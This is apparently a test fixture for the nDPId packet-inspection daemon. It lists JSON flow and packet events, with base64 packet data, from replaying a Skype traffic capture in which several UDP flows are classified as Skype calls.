+00425{"flow_id":177,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1055,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969683,"pkt_ts_usec":623712,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0bWZAAEAG67HAqAEinTeCqsOWnFJsNFWq7fFHaIAQECxtGQAAAQEICj4jK71Oqggf"} +00505{"flow_id":177,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1056,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969683,"pkt_ts_usec":624257,"pkt_caplen":121,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":121,"pkt_l4_len":87,"pkt":"0NQSxnP1PBXCt3IOCABFAABrizRAAEAGzazAqAEinTeCqsOWnFJsNFWq7fFHaIAYECx1igAAAQEICj4jK71Oqggf1scwOyi+GNro1zNlkpz1kJCutCUd78rawR2K0Dss\/kuexdEgM5cPtj8qxMgNmwBXm5DB\/tecXQ=="} +00484{"flow_id":99,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1057,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969683,"pkt_ts_usec":737483,"pkt_caplen":107,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":107,"pkt_l4_len":73,"pkt":"0NQSxnP1PBXCt3IOCABFAABdKNxAAEAGMBbAqAEinTeCp8N9Abt3wuIecQen4YAZECzqZQAAAQEICj4jLC5Oq7eNha\/REPk0JK+jyXRvQAnIdnOzfqInh3kQnO9afU+VElpw2DvgAIcm25w="} +00425{"flow_id":177,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1058,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969683,"pkt_ts_usec":748439,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA0T1ZAADcGEsKdN4KqwKgBIpxSw5bt8UdobDRV4YAQAB180gAAAQEICk6qCD4+Iyu9"} +00504{"flow_id":177,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1059,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969683,"pkt_ts_usec":755403,"pkt_caplen":123,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":123,"pkt_l4_len":89,"pkt":"PBXCt3IO0NQSxnP1CABFAABtT1dAADcGEoidN4KqwKgBIpxSw5bt8UdobDRV4YAYAB3gCwAAAQEICk6qCD8+Iyu9pJTgmgKa3wc7YKW2mPeXfbP82SUCDqy3KKTR43hW7as5ikFhigkBV78S5V\/amBV6xv+kxTJ78KFe"} +00426{"flow_id":177,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1060,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969683,"pkt_ts_usec":755469,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0RktAAEAGEs3AqAEinTeCqsOWnFJsNFXh7fFHoYAQECpsCQAAAQEICj4jLD9Oqgg\/"} +00438{"flow_id":177,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1061,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969683,"pkt_ts_usec":756009,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8Vv9AAEAGAhHAqAEinTeCqsOWnFJsNFXh7fFHoYAYECoI3gAAAQEICj4jLD9Oqgg\/dBFKHGWgP00="} +00500{"flow_id":99,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1062,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969683,"pkt_ts_usec":864253,"pkt_caplen":120,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":120,"pkt_l4_len":86,"pkt":"PBXCt3IO0NQSxnP1CABFAABqEHRAADcGUXGdN4KnwKgBIgG7w31xB6gwd8LiSIAZAB2fjgAAAQEICk6rybs+Iywuyw5hYqtwMkLFBj5klpnhmKPM4qsTHrXg9gVOFS0AL0lAmHGXMfgS0ix\/rhnjJaq5EXtIvAqu"} +00409{"flow_id":99,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1063,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969683,"pkt_ts_usec":864367,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"0NQSxnP1PBXCt3IOCABFAAAoDaZAAEAGS4HAqAEinTeCp8N9Abt3wuJIAAAAAFAEAACu8wAA"} +00486{"flow_id":174,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1064,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969683,"pkt_ts_usec":944239,"pkt_caplen":108,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":108,"pkt_l4_len":74,"pkt":"0NQSxnP1PBXCt3IOCABFAABejChAAEAGFtDAqAEinTc4oMOVAbs\/vde5DvO1MYAYECzBOwAAAQEICj4jLPpNfpP1C\/K+P2bJpeJPHa2PUHDULtdZf\/0zeGwCQKqXzvyh2rxHpWJ9WEovTk91"} +00438{"flow_id":177,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1065,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969684,"pkt_ts_usec":272039,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8PGRAAEAGHKzAqAEinTeCqsOWnFJsNFXh7fFHoYAYECoG3AAAAQEICj4jLkFOqgg\/dBFKHGWgP00="} +00461{"flow_id":150,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1066,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969684,"pkt_ts_usec":272306,"pkt_caplen":93,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":93,"pkt_l4_len":59,"pkt":"0NQSxnP1PBXCt3IOCABFAABPCJcAAEAR7pPAqAEiwKgBAfaEADUAO+FnvnsBAAABAAAAAAAAAWEGY29uZmlnBXNreXBlDnRyYWZmaWNtYW5hZ2VyA25ldAAAHAAB"} +00462{"flow_id":149,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1067,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969684,"pkt_ts_usec":272401,"pkt_caplen":93,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":93,"pkt_l4_len":59,"pkt":"0NQSxnP1PBXCt3IOCABFAABPHy0AAEAR1\/3AqAEiwKgBAdd3ADUAO4zaTRYBAAABAAAAAAAAAWEGY29uZmlnBXNreXBlDnRyYWZmaWNtYW5hZ2VyA25ldAAAAQAB"} +00495{"flow_id":167,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1068,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969684,"pkt_ts_usec":324140,"pkt_caplen":117,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":117,"pkt_l4_len":83,"pkt":"0NQSxnP1PBXCt3IOCABFAABnNhdAAEAGImzAqAEiQTffDMOSAbvQogDzbPVBKoAYECwE+wAAAQEICj4jLnVNoe9JdRKYsr25V5AAdpQR0WFwQXZONwsp2+ImLRVUPhbhlzT9d0d7m6HpVNUn8Hw+fr6YtSFt"} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1069,"source":"skype.pcap","alias":"nDPId-test","flow_id":181,"flow_packet_id":1,"flow_first_seen":1431969684467,"flow_last_seen":0,"flow_tot_l4_data_len":33,"flow_min_l4_data_len":33,"flow_max_l4_data_len":33,"flow_avg_l4_data_len":33,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.172","src_port":13021,"dst_port":40019,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00429{"flow_id":181,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1069,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969684,"pkt_ts_usec":467205,"pkt_caplen":67,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":67,"pkt_l4_len":33,"pkt":"0NQSxnP1PBXCt3IOCABFAAA16v8AAEARrgrAqAEinTeCrDLdnFMAIRT0nHgCu2bzH4JB7obGwPAa3nMCpmcjtPyNNg=="} +00518{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1069,"source":"skype.pcap","alias":"nDPId-test","flow_id":181,"flow_packet_id":1,"flow_first_seen":1431969684467,"flow_last_seen":0,"flow_tot_l4_data_len":33,"flow_min_l4_data_len":33,"flow_max_l4_data_len":33,"flow_avg_l4_data_len":33,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.172","src_port":13021,"dst_port":40019,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1070,"source":"skype.pcap","alias":"nDPId-test","flow_id":182,"flow_packet_id":1,"flow_first_seen":1431969684467,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.74.40","src_port":13021,"dst_port":40018,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00439{"flow_id":182,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1070,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969684,"pkt_ts_usec":467279,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8hr8AAEAReCLAqAEib91KKDLdnFIAKIqNnHoCPuiFRI7wAmsXvw\/hsEg3lYrpYaj71nbGjF\/D9YI="} +00517{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1070,"source":"skype.pcap","alias":"nDPId-test","flow_id":182,"flow_packet_id":1,"flow_first_seen":1431969684467,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.74.40","src_port":13021,"dst_port":40018,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00458{"flow_id":175,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1072,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969684,"pkt_ts_usec":539079,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"0NQSxnP1PBXCt3IOCABFAABLqeAAAEARTU7AqAEiwKgBAdRHADUAN3UY\/nwBAAABAAAAAAAAAzMzNQEwATcBNwEzBXJzdDEzAXIFc2t5cGUDbmV0AAABAAE="} +00457{"flow_id":176,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1073,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969684,"pkt_ts_usec":539162,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"0NQSxnP1PBXCt3IOCABFAABLQlQAAEARtNrAqAEiwKgBAeQAADUAN6zvm+wBAAABAAAAAAAAAzMzNQEwATcBNwEzBXJzdDEzAXIFc2t5cGUDbmV0AAAcAAE="} +00487{"flow_id":174,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1075,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969684,"pkt_ts_usec":876496,"pkt_caplen":108,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":108,"pkt_l4_len":74,"pkt":"0NQSxnP1PBXCt3IOCABFAABe\/1RAAEAGo6PAqAEinTc4oMOVAbs\/vde5DvO1MYAYECy9mgAAAQEICj4jMJtNfpP1C\/K+P2bJpeJPHa2PUHDULtdZf\/0zeGwCQKqXzvyh2rxHpWJ9WEovTk91"} +00439{"flow_id":134,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1076,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969684,"pkt_ts_usec":905750,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8\/2ZAAEAGWbrAqAEinTeCmcOGnEV7WksM7xM3SYAYECgNqgAAAQEICj4jMLhOtNyvZO1SW4ugTYc="} +00439{"flow_id":168,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1077,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969684,"pkt_ts_usec":965856,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8uBBAAEAG6wnAqAEinTc4oMOTnFuhu65apKDDzIAYECoQ\/AAAAQEICj4jMPRNfpJmzRAJJHd6CMc="} +00439{"flow_id":177,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1079,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969685,"pkt_ts_usec":102030,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8ex1AAEAG3fLAqAEinTeCqsOWnFJsNFXh7fFHoYAYECoDogAAAQEICj4jMXtOqgg\/dBFKHGWgP00="} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1080,"source":"skype.pcap","alias":"nDPId-test","flow_id":183,"flow_packet_id":1,"flow_first_seen":1431969685111,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.170","src_port":50072,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":183,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1080,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969685,"pkt_ts_usec":111093,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAAC9AAEAGWN3AqAEinTeCqsOYAbvnclCjAAAAALAC\/\/\/oPwAAAgQFtAEDAwUBAQgKPiMxhAAAAAAEAgAA"} +00497{"flow_id":71,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1081,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969685,"pkt_ts_usec":117166,"pkt_caplen":116,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":116,"pkt_l4_len":82,"pkt":"0NQSxnP1PBXCt3IOCABFAABmnN5AAEAGUnLAqAEi1cezr8N3AbvoukrF6jj3F4AZECz\/DAAAAQEICj4jMYpO2zrq3Ik+3JoryHORYpUOodhZtdvbaLVaOrSVdhFGDoNFz\/ygR9NCUBkcRkZjFi6mIQWuXX4="} +00476{"flow_id":112,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1083,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969685,"pkt_ts_usec":231966,"pkt_caplen":101,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":101,"pkt_l4_len":67,"pkt":"0NQSxnP1PBXCt3IOCABFAABX6YxAAEAGb3zAqAEinTeClsOAAbtI+poyuVVQX4AZECwlEgAAAQEICj4jMftOt6FDtE+JMLnPtxIKxglVlecVLUAud036XUzec3hM4iMJiZPeQZY="} +00437{"flow_id":183,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1084,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969685,"pkt_ts_usec":234297,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"PBXCt3IO0NQSxnP1CABFAAA8AABAADcGYhCdN4KqwKgBIgG7w5jP+27153JQpKASOJApWgAAAgQFrAQCCApOqgmyPiMxhAEDAwk="} +00426{"flow_id":183,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1085,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969685,"pkt_ts_usec":234373,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0w75AAEAGlVnAqAEinTeCqsOYAbvnclCkz\/tu9oAQECyACwAAAQEICj4jMf1Oqgmy"} +00525{"flow_id":183,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1086,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969685,"pkt_ts_usec":234471,"pkt_caplen":138,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":138,"pkt_l4_len":104,"pkt":"0NQSxnP1PBXCt3IOCABFAAB8Ym1AAEAG9mLAqAEinTeCqsOYAbvnclCkz\/tu9oAYECxqWgAAAQEICj4jMf1OqgmygEYBAwEALQAAABAAAAUAAAQAAAoAAAkAAGQAAGIAAAgAAAMAAAYBAIAHAMADAIAGAEACAIAEAIBCS4DxboeMjVqDWOkGP+QF"} +00678{"flow_id":18,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1087,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969685,"pkt_ts_usec":278944,"pkt_caplen":251,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":251,"pkt_l4_len":217,"pkt":"0NQSxnP1PBXCt3IOCABFAADtiKlAAEAGtiPAqAEiF84hpsNtAbuewXpuGKHN44AYECxWxwAAAQEICj4jMinsLkk6FgMBALQBAACwAwNVWh9r1BitCFD8cZbUoP0jV12FHPzKsJViTeYgJXwI\/wAASgD\/wCTAI8AKwAnACMAowCfAFMATwBLAJsAlwAXABMADwCrAKcAPwA7ADQBrAGcAOQAzABYAPQA8ADUALwAKwAfAEcACwAwABQAEAQAAPQAAABMAEQAADmFwcHMuc2t5cGUuY29tAAoACAAGABcAGAAZAAsAAgEAAA0ADAAKBQEEAQIBBAMCAzN0AAA="} +00467{"flow_id":112,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1088,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969685,"pkt_ts_usec":356470,"pkt_caplen":96,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":96,"pkt_l4_len":62,"pkt":"PBXCt3IO0NQSxnP1CABFAABS8SNAADcGcOqdN4KWwKgBIgG7w4C5VVCuSPqaVoAZAB2QuAAAAQEICk63suw+IzH7RHUUo+s9TjGbDYg0\/5XxxuhuHyma7y+VMLdNReiV"} +00410{"flow_id":112,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1089,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969685,"pkt_ts_usec":356585,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"0NQSxnP1PBXCt3IOCABFAAAoFDhAAEAGRQDAqAEinTeClsOAAbtI+ppWAAAAAFAEAAAlvAAA"} +00425{"flow_id":183,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1090,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969685,"pkt_ts_usec":358979,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA0ZyZAADcG+vGdN4KqwKgBIgG7w5jP+27253JQ7IAQAB2PswAAAQEICk6qCdE+IzH9"} +00497{"flow_id":183,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1091,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969685,"pkt_ts_usec":359052,"pkt_caplen":115,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":115,"pkt_l4_len":81,"pkt":"0NQSxnP1PBXCt3IOCABFAABlfFBAAEAG3JbAqAEinTeCqsOYAbvnclDsz\/tu9oAYECx20AAAAQEICj4jMnhOqgnRdB6rqSY5gTFTXdFTg9Bm\/CX0YSch8t1o2530L+EgrBJRuOnQwGMPQHcj8K4bAGf3WA=="} +00440{"flow_id":161,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1092,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969685,"pkt_ts_usec":413140,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8ebhAAEAG3vXAqAEiQTffDMORnF\/vfD9kP0r\/xIAYECmPvwAAAQEICj4jMq5Noe23pd7yTaWfPN4="} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1093,"source":"skype.pcap","alias":"nDPId-test","flow_id":184,"flow_packet_id":1,"flow_first_seen":1431969685483,"flow_last_seen":0,"flow_tot_l4_data_len":41,"flow_min_l4_data_len":41,"flow_max_l4_data_len":41,"flow_avg_l4_data_len":41,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.74.12","src_port":13021,"dst_port":40031,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00438{"flow_id":184,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1093,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969685,"pkt_ts_usec":483955,"pkt_caplen":75,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":75,"pkt_l4_len":41,"pkt":"0NQSxnP1PBXCt3IOCABFAAA9kPYAAEARbgbAqAEib91KDDLdnF8AKfx\/nHwCoMStpaQYl8DnkwYEqqAF9FXdbHxKRUYHrOVyJRT4"} +00517{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1093,"source":"skype.pcap","alias":"nDPId-test","flow_id":184,"flow_packet_id":1,"flow_first_seen":1431969685483,"flow_last_seen":0,"flow_tot_l4_data_len":41,"flow_min_l4_data_len":41,"flow_max_l4_data_len":41,"flow_avg_l4_data_len":41,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.74.12","src_port":13021,"dst_port":40031,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1094,"source":"skype.pcap","alias":"nDPId-test","flow_id":185,"flow_packet_id":1,"flow_first_seen":1431969685483,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.156","src_port":13021,"dst_port":40034,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00442{"flow_id":185,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1094,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969685,"pkt_ts_usec":483956,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAc7wAAEARJVPAqAEinTeCnDLdnGIALEvBnH4CZ\/Wwkka3Pn+XJ2UB3JhFKbNG53SJ0IkPRrwOiZA6M572"} +00518{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1094,"source":"skype.pcap","alias":"nDPId-test","flow_id":185,"flow_packet_id":1,"flow_first_seen":1431969685483,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.156","src_port":13021,"dst_port":40034,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1095,"source":"skype.pcap","alias":"nDPId-test","flow_id":186,"flow_packet_id":1,"flow_first_seen":1431969685484,"flow_last_seen":0,"flow_tot_l4_data_len":39,"flow_min_l4_data_len":39,"flow_max_l4_data_len":39,"flow_avg_l4_data_len":39,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.74.31","src_port":13021,"dst_port":40021,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00439{"flow_id":186,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1095,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969685,"pkt_ts_usec":484020,"pkt_caplen":73,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":73,"pkt_l4_len":39,"pkt":"0NQSxnP1PBXCt3IOCABFAAA72\/8AAEARIuzAqAEib91KHzLdnFUAJxsjnIACakgRW6zNH9umAy\/xnD4EBConFfeCu32RWyeo5A=="} +00517{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1095,"source":"skype.pcap","alias":"nDPId-test","flow_id":186,"flow_packet_id":1,"flow_first_seen":1431969685484,"flow_last_seen":0,"flow_tot_l4_data_len":39,"flow_min_l4_data_len":39,"flow_max_l4_data_len":39,"flow_avg_l4_data_len":39,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.74.31","src_port":13021,"dst_port":40021,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} 